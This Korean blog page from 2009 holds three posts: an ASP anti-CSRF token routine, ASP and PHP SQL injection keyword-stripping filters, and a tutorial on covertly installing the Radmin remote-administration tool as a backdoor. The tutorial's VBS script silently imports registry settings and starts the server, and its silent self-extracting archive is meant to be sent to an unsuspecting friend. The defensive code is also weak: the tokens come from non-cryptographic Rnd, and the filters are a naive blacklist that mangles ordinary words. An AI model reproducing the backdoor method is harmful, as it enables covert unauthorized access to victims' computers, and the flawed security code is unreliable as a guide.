« PREV : 1 : NEXT »

[ASP] CSRF 취약점 방어하기

Posted 2009/04/23 18:35

원문 출처 : http://proglamor.tistory.com/category/Security/CSRF

CSRF 처리 관련 ASP 함수 이다.
CSRF 처리 방법은 의외로 간단하게 처리할 수 있다.
입력폼에서 특정 문자조합의 토큰을 생성하여, 세션에 저장하며, 이를 처리 페이지로 넘겨준다.
넘겨받은 토큰과 세션을 비교하여 동일할때만 로직을 수행하게 하면 된다.

## 함수
function CSRP_TokenCreate()
   set_KeyTable = "A0N1B2A3C4N5D6U7E8M9F0LGOHTITJOKLMNOPQRSTUVWXYZ"
   set_Token = ""
   randomize
   for cnt = 1 to 20
      get_KeyPos = int((49 - 1 + 1) * Rnd + 1)
      set_Token = set_Token & mid(set_KeyTable, get_KeyPos, 1)
   next
   session("CSRP_Token") = set_Token
   CSRP_TokenCreate = set_Token
end function

function CSRP_TokenConfirm( get_Token )
   if session("CSRP_Token") = get_Token then
      CSRP_TokenConfirm = True
   else
      CSRP_TokenConfirm = False
   end if
end function


## From.ASP
<%
get_Token = CSRP_TokenCreate()
%>
<form name="input_form" action="Proc.ASP">
<input type="hidden" name="Token" value="<%=get_Token%>">
</form>


## Proc.ASP
<%
req_Token = request("Token")
if not CSRP_TokenConfirm(req_Token) then
   response.write "잘못된 접근 입니다."
   response.end
end if
%>

Write your message and submit

원문 자료 출처 http://proglamor.tistory.com/2

SQL Injection 처리 관련 ASP, PHP 함수 입니다.
내용 입력시 FCK Editor 를 사용할 경우 ASP 경우 ';' 처리 부분을 주석처리 해야합니다.
ASP 함수의 경우 부분적으로 MS-SQL 관련 처리를 포함하고 있습니다.
PHP 경우는 정규식으로 만들었답니다.
J


## ASP
function SQL_Injection( get_String )

   get_String = REPLACE( get_String, "'", "''" )
   get_String = REPLACE( get_String, ";", "" )
   get_String = REPLACE( get_String, "--", "" )
   get_String = REPLACE( get_String, "select", "", 1, -1, 1 )
   get_String = REPLACE( get_String, "insert", "", 1, -1, 1 )
   get_String = REPLACE( get_String, "update", "", 1, -1, 1 )
   get_String = REPLACE( get_String, "delete", "", 1, -1, 1 )
   get_String = REPLACE( get_String, "drop", "", 1, -1, 1 )
   get_String = REPLACE( get_String, "union", "", 1, -1, 1 )
   get_String = REPLACE( get_String, "and", "", 1, -1, 1 )
   get_String = REPLACE( get_String, "or", "", 1, -1, 1 )
   get_String = REPLACE( get_String, "1=1", "", 1, -1, 1 )

   get_String = REPLACE( get_String, "sp_", "", 1, -1, 1 )
   get_String = REPLACE( get_String, "xp_", "", 1, -1, 1 )
   get_String = REPLACE( get_String, "@variable", "", 1, -1, 1 )
   get_String = REPLACE( get_String, "@@variable", "", 1, -1, 1 )
   get_String = REPLACE( get_String, "exec", "", 1, -1, 1 )
   get_String = REPLACE( get_String, "sysobject", "", 1, -1, 1 )

   SQL_Injection = get_String

end function


## PHP
function SQL_Injection($get_Str) {

   return eregi_replace("( select| union| insert| update| delete| drop|\"|\'|#|\/\*|\*\/|\\\|\;)",
      "", $get_Str);

}

Write your message and submit

[PHP] Applicatio Attack Analysis

Posted 2009/04/21 09:45


Write your message and submit

상대 컴퓨터에 백도어를 사용자 모르게 자동설치하여 원격으로 접근하는 방법으로 초보적인 방법입니다.


[공격방법]
1. radmin을 http://www.radmin.co.kr에서 다운로드 받아 설치 합니다.



2. 설치후 시작프로그램에서 Settings for Remote Adminstrator을 실행하여 패스워드를 설정한후 트라이 아이콘 숨기기 체크와 기본 포트를 변경하여 사용자가 알아차리지 못하게 합니다.







3. Regedit를 실행하여 Radmin의 레스트리키를 내보내기 합니다.
 적당한 이름으로 내보내기 합니다. (예 Radmin.reg)


4. 설치된 Radmin에서 필수 파일만 따로 복사하여 압축합니다.
R_server.exe,Raddrv.dll


5. 실제 설치 액션을 할 스크립트를 VBS로 작성합니다.
아래와 같이 작성하면 자동으로 숨김으로 프로그램이 설치되면서,  보이지 않게 프로그램이 실행됩니다.
파일명:radmin.vbs

set ws=wscript.createobject("wscript.shell")
ws.run "regedit.exe /s radmin.reg",0
ws.run "r_server.exe /install /silence",0
ws.run "r_server.exe /start",0


6.지금까지 만든 radmin.vbs, radmin.reg, r_server.exe, raddrv.dll 파일을 압축합니다.
저장할때 사용자들이 많이 해제해볼 이름으로 해야겠지요?
그리고 SFX 압축파일 생성에 체크후 고급 탭을 선택하요 SFX옵션을 누릅니다.


7.고급 SFX옵션에서 압축풀 경로를 미리 지정해 놓고, 압축해제와 동시에 radmin.vbs를 실행하도록 합니다.

%SystemRoot%\system32로 지정
압축 풀기 후 radmin.vbs스크립트 실행



8.고급 SFX 옵션에서 모드 탭을 선택하여 조용한 모드를 선택하여 사용자가 알지 못하게 합니다.

조용한 모드, 덮어쓰기 모드 선택


9. 위처럼 옵션을 선택하였으면 확인을 눌려 압축을 합니다.


10. 이제 배포하시면 되는데요 여기서 한가지 주의 하실점이 있습니다. 실행하고 나면 파일이 남는다는 것이지요...
해킹 파일을 숨김으로 주고 동영상 하나 넣어주던 실행후 파일을 지운는 스크립트를 추가하던, 그부분은 여러분에게 맞길께요


P.s원격으로 보고싶은 친구에게 살며시 보내 주세요 실행해보라고, ^^; 그리고 메신저 포트로 들어오는 상대방의 아이피를 확인후 접근해보시기 바랍니다. 생각보다 재미있습니다.


요즘 할것이 갑자기 많아 졌습니다.

사랑하는 사람도 생기고, 목표도 다잡고 있어서.. 틈나는데로 작성하겠습니다.

Write your message and submit